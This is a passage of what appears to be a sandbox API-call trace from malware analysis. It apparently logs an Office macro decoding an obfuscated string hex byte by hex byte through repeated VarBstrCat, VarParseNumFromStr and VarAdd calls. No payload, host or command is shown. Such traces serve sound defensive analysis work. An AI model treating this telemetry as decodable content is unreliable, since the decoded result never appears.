pvar=0x17dad0) returned 0x0 [0068.919] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.919] VarBstrCat (in: bstrLeft="&H", bstrRight="23", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.919] VarParseNumFromStr (in: strIn="&H23", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.919] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.919] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.919] VarBstrCat (in: bstrLeft="&H", bstrRight="2A", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.919] VarParseNumFromStr (in: strIn="&H2A", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.919] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.919] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.920] VarBstrCat (in: bstrLeft="&H", bstrRight="73", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.920] VarParseNumFromStr (in: strIn="&H73", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.920] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.920] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.920] VarBstrCat (in: bstrLeft="&H", bstrRight="6C", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.920] VarParseNumFromStr (in: strIn="&H6C", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.920] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.920] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.920] VarBstrCat (in: bstrLeft="&H", bstrRight="25", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.920] VarParseNumFromStr (in: strIn="&H25", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.920] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.920] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.921] VarBstrCat (in: bstrLeft="&H", bstrRight="2E", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.921] VarParseNumFromStr (in: strIn="&H2E", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.921] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.921] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.921] VarBstrCat (in: bstrLeft="&H", bstrRight="3E", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.921] VarParseNumFromStr (in: strIn="&H3E", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.921] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.921] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.921] VarBstrCat (in: bstrLeft="&H", bstrRight="2B", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.921] VarParseNumFromStr (in: strIn="&H2B", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.921] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.921] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.921] VarBstrCat (in: bstrLeft="&H", bstrRight="30", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.921] VarParseNumFromStr (in: strIn="&H30", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.921] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.922] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.922] VarBstrCat (in: bstrLeft="&H", bstrRight="39", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.922] VarParseNumFromStr (in: strIn="&H39", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.922] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.922] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.922] VarBstrCat (in: bstrLeft="&H", bstrRight="22", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.922] VarParseNumFromStr (in: strIn="&H22", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.922] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.922] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.922] VarBstrCat (in: bstrLeft="&H", bstrRight="77", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.922] VarParseNumFromStr (in: strIn="&H77", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.922] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.922] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.922] VarBstrCat (in: bstrLeft="&H", bstrRight="79", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.922] VarParseNumFromStr (in: strIn="&H79", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.922] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.923] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.923] VarBstrCat (in: bstrLeft="&H", bstrRight="25", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.923] VarParseNumFromStr (in: strIn="&H25", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.923] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.923] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.923] VarBstrCat (in: bstrLeft="&H", bstrRight="2E", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.923] VarParseNumFromStr (in: strIn="&H2E", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.923] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.923] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.923] VarBstrCat (in: bstrLeft="&H", bstrRight="3B", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.923] VarParseNumFromStr (in: strIn="&H3B", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.923] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.923] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.923] VarBstrCat (in: bstrLeft="&H", bstrRight="6C", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.924] VarParseNumFromStr (in: strIn="&H6C", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.924] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.924] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.924] VarBstrCat (in: bstrLeft="&H", bstrRight="23", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.924] VarParseNumFromStr (in: strIn="&H23", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.924] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.924] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.924] VarBstrCat (in: bstrLeft="&H", bstrRight="28", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.924] VarParseNumFromStr (in: strIn="&H28", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.924] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.924] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.924] VarBstrCat (in: bstrLeft="&H", bstrRight="39", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.924] VarParseNumFromStr (in: strIn="&H39", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.924] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.925] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.925] VarBstrCat (in: bstrLeft="&H", bstrRight="23", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.925] VarParseNumFromStr (in: strIn="&H23", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.925] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.925] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.925] VarBstrCat (in: bstrLeft="&H", bstrRight="27", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.925] VarParseNumFromStr (in: strIn="&H27", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.925] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.925] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.925] VarBstrCat (in: bstrLeft="&H", bstrRight="27", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.925] VarParseNumFromStr (in: strIn="&H27", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.925] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.925] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.925] VarBstrCat (in: bstrLeft="&H", bstrRight="61", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.925] VarParseNumFromStr (in: strIn="&H61", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.925] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.926] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.926] VarBstrCat (in: bstrLeft="&H", bstrRight="15", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.926] VarParseNumFromStr (in: strIn="&H15", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.926] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.926] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.926] VarBstrCat (in: bstrLeft="&H", bstrRight="38", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.926] VarParseNumFromStr (in: strIn="&H38", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.926] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.926] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.926] VarBstrCat (in: bstrLeft="&H", bstrRight="20", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.926] VarParseNumFromStr (in: strIn="&H20", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.926] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.926] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.926] VarBstrCat (in: bstrLeft="&H", bstrRight="32", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.927] VarParseNumFromStr (in: strIn="&H32", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.927] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.929] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.929] VarBstrCat (in: bstrLeft="&H", bstrRight="34", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.929] VarParseNumFromStr (in: strIn="&H34", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.929] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.929] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.929] VarBstrCat (in: bstrLeft="&H", bstrRight="3A", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.929] VarParseNumFromStr (in: strIn="&H3A", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.929] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.929] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.929] VarBstrCat (in: bstrLeft="&H", bstrRight="68", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.929] VarParseNumFromStr (in: strIn="&H68", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.930] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.930] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.930] VarBstrCat (in: bstrLeft="&H", bstrRight="19", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.930] VarParseNumFromStr (in: strIn="&H19", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.930] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.930] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.930] VarBstrCat (in: bstrLeft="&H", bstrRight="34", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.930] VarParseNumFromStr (in: strIn="&H34", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.930] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.930] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.930] VarBstrCat (in: bstrLeft="&H", bstrRight="3F", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.930] VarParseNumFromStr (in: strIn="&H3F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.930] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.930] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.931] VarBstrCat (in: bstrLeft="&H", bstrRight="65", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.931] VarParseNumFromStr (in: strIn="&H65", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.931] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.931] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.931] VarBstrCat (in: bstrLeft="&H", bstrRight="1B", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.931] VarParseNumFromStr (in: strIn="&H1B", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.931] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.931] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.931] VarBstrCat (in: bstrLeft="&H", bstrRight="24", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.931] VarParseNumFromStr (in: strIn="&H24", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.931] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.931] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.931] VarBstrCat (in: bstrLeft="&H", bstrRight="2E", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.931] VarParseNumFromStr (in: strIn="&H2E", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.931] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.932] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.932] VarBstrCat (in: bstrLeft="&H", bstrRight="09", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.932] VarParseNumFromStr (in: strIn="&H09", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.932] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.932] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.932] VarBstrCat (in: bstrLeft="&H", bstrRight="3F", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.932] VarParseNumFromStr (in: strIn="&H3F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.932] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.932] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.932] VarBstrCat (in: bstrLeft="&H", bstrRight="2F", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.932] VarParseNumFromStr (in: strIn="&H2F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.932] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.932] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.932] VarBstrCat (in: bstrLeft="&H", bstrRight="21", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.932] VarParseNumFromStr (in: strIn="&H21", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.933] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.933] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.933] VarBstrCat (in: bstrLeft="&H", bstrRight="3D", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.933] VarParseNumFromStr (in: strIn="&H3D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.933] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.933] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.933] VarBstrCat (in: bstrLeft="&H", bstrRight="35", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.933] VarParseNumFromStr (in: strIn="&H35", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.933] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.933] VarAdd (in: pvarLeft=0xb480dc0, 